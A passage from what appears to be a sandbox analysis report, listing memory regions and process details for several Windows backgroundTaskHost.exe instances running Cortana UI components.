	            name = "pagefile_0x000000ec573b0000"
	        filename = ""

Region:
	              id = 3662
	        start_va = 0xec573d0000
	          end_va = 0xec5744ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000ec573d0000"
	        filename = ""

Region:
	              id = 3663
	        start_va = 0xec57450000
	          end_va = 0xec57453fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000ec57450000"
	        filename = ""

Region:
	              id = 3664
	        start_va = 0xec57460000
	          end_va = 0xec57461fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000ec57460000"
	        filename = ""

Region:
	              id = 3665
	        start_va = 0xec57470000
	          end_va = 0xec57470fff
	     entry_point = 0xec57470000
	     region_type = mapped_file
	            name = "s-1-5-21-1462094071-1423818996-289466292-1000.pckgdep"
	        filename = "\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1462094071-1423818996-289466292-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1462094071-1423818996-289466292-1000.pckgdep")

Region:
	              id = 3666
	        start_va = 0x7df5ffda0000
	          end_va = 0x7ff5ffd9ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ffda0000"
	        filename = ""

Region:
	              id = 3667
	        start_va = 0x7ff72cb00000
	          end_va = 0x7ff72cb22fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff72cb00000"
	        filename = ""

Region:
	              id = 3668
	        start_va = 0x7ff72cb27000
	          end_va = 0x7ff72cb27fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff72cb27000"
	        filename = ""

Region:
	              id = 3669
	        start_va = 0x7ff72cb2e000
	          end_va = 0x7ff72cb2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff72cb2e000"
	        filename = ""

Region:
	              id = 3670
	        start_va = 0x7ff72d9c0000
	          end_va = 0x7ff72d9c6fff
	     entry_point = 0x7ff72d9c0000
	     region_type = mapped_file
	            name = "backgroundtaskhost.exe"
	        filename = "\\Windows\\System32\\backgroundTaskHost.exe" (normalized: "c:\\windows\\system32\\backgroundtaskhost.exe")

Region:
	              id = 3671
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")


Thread:
	id = 461
	os_tid = 0x778


Process:
	id = "26"
	image_name = "backgroundtaskhost.exe"
	filename = "c:\\windows\\system32\\backgroundtaskhost.exe"
	page_root = "0x613f5000"
	os_pid = "0xdbc"
	os_integrity_level = "0x1000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "9"
	os_parent_pid = "0x248"
	cmd_line = "\"C:\\Windows\\system32\\backgroundTaskHost.exe\" -ServerName:CortanaUI.AppXy7vb4pc2dr3kc93kfc509b1d0arkfb2x.mca"
	cur_dir = "C:\\Windows\\SystemApps\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\"
	os_username = "LHNIWSJ\\CIiHmnxMn6Ps"
	os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001714b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 3876
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 3877
	        start_va = 0x2992320000
	          end_va = 0x299233ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002992320000"
	        filename = ""

Region:
	              id = 3878
	        start_va = 0x2992340000
	          end_va = 0x2992353fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002992340000"
	        filename = ""

Region:
	              id = 3879
	        start_va = 0x2992360000
	          end_va = 0x29923dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002992360000"
	        filename = ""

Region:
	              id = 3880
	        start_va = 0x29923e0000
	          end_va = 0x29923e3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000029923e0000"
	        filename = ""

Region:
	              id = 3881
	        start_va = 0x29923f0000
	          end_va = 0x29923f1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000029923f0000"
	        filename = ""

Region:
	              id = 3882
	        start_va = 0x2992400000
	          end_va = 0x2992400fff
	     entry_point = 0x2992400000
	     region_type = mapped_file
	            name = "s-1-5-21-1462094071-1423818996-289466292-1000.pckgdep"
	        filename = "\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1462094071-1423818996-289466292-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1462094071-1423818996-289466292-1000.pckgdep")

Region:
	              id = 3883
	        start_va = 0x7df5ffe30000
	          end_va = 0x7ff5ffe2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ffe30000"
	        filename = ""

Region:
	              id = 3884
	        start_va = 0x7ff72d080000
	          end_va = 0x7ff72d0a2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff72d080000"
	        filename = ""

Region:
	              id = 3885
	        start_va = 0x7ff72d0ad000
	          end_va = 0x7ff72d0aefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff72d0ad000"
	        filename = ""

Region:
	              id = 3886
	        start_va = 0x7ff72d0af000
	          end_va = 0x7ff72d0affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff72d0af000"
	        filename = ""

Region:
	              id = 3887
	        start_va = 0x7ff72d9c0000
	          end_va = 0x7ff72d9c6fff
	     entry_point = 0x7ff72d9c0000
	     region_type = mapped_file
	            name = "backgroundtaskhost.exe"
	        filename = "\\Windows\\System32\\backgroundTaskHost.exe" (normalized: "c:\\windows\\system32\\backgroundtaskhost.exe")

Region:
	              id = 3888
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")


Thread:
	id = 471
	os_tid = 0xde4


Process:
	id = "27"
	image_name = "backgroundtaskhost.exe"
	filename = "c:\\windows\\system32\\backgroundtaskhost.exe"
	page_root = "0x2c4a000"
	os_pid = "0xc0c"
	os_integrity_level = "0x1000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "9"
	os_parent_pid = "0x248"
	cmd_line = "\"C:\\Windows\\system32\\backgroundTaskHost.exe\" -ServerName:CortanaUI.AppXy7vb4pc2dr3kc93kfc509b1d0arkfb2x.mca"
	cur_dir = "C:\\Windows\\SystemApps\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\"
	os_username = "LHNIWSJ\\CIiHmnxMn6Ps"
	os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001714b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 3889
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 3890
	        start_va = 0x2f334a0000
	          end_va = 0x2f334bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002f334a0000"
	        filename = ""

Region:
	              id = 3891
	        start_va = 0x2f334c0000
	          end_va = 0x2f334d3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002f334c0000"
	        filename = ""

Region:
	              id = 3892
	        start_va = 0x2f334e0000
	          end_va = 0x2f3355ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002f334e0000"
	        filename = ""

Region:
	              id = 3893
	        start_va = 0x2f33560000
	          end_va = 0x2f33563fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002f33560000"
	        filename = ""

Region:
	              id = 3894
	        start_va = 0x2f33570000
	          end_va = 0x2f33571fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002f33570000"
	        filename = ""

Region:
	              id = 3895
	        start_va = 0x2f33580000
	          end_va = 0x2f33580fff
	     entry_point = 0x2f33580000
	     region_type = mapped_file
	            name = "s-1-5-21-1462094071-1423818996-289466292-1000.pckgdep"
	        filename = "\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1462094071-1423818996-289466292-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1462094071-1423818996-289466292-1000.pckgdep")

Region:
	              id = 3896
	        start_va = 0x7df5ff170000
	          end_va = 0x7ff5ff16ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ff170000"
	        filename = ""

Region:
	              id = 3897
	        start_va = 0x7ff72cde0000
	          end_va = 0x7ff72ce02fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff72cde0000"
	        filename = ""

Region:
	              id = 3898
	        start_va = 0x7ff72ce0b000
	          end_va = 0x7ff72ce0bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff72ce0b000"
	        filename = ""

Region:
	              id = 3899
	        start_va = 0x7ff72ce0e000
	          end_va = 0x7ff72ce0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff72ce0e000"
	        filename = ""

Region:
	              id = 3900
	        start_va = 0x7ff72d9c0000
	          end_va = 0x7ff72d9c6fff
	     entry_point = 0x7ff72d9c0000
	     region_type = mapped_file
	            name = "backgroundtaskhost.exe"
	        filename = "\\Windows\\System32\\backgroundTaskHost.exe" (normalized: "c:\\windows\\system32\\backgroundtaskhost.exe")

Region:
	              id = 3901
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")


Thread:
	id = 475
	os_tid = 0x308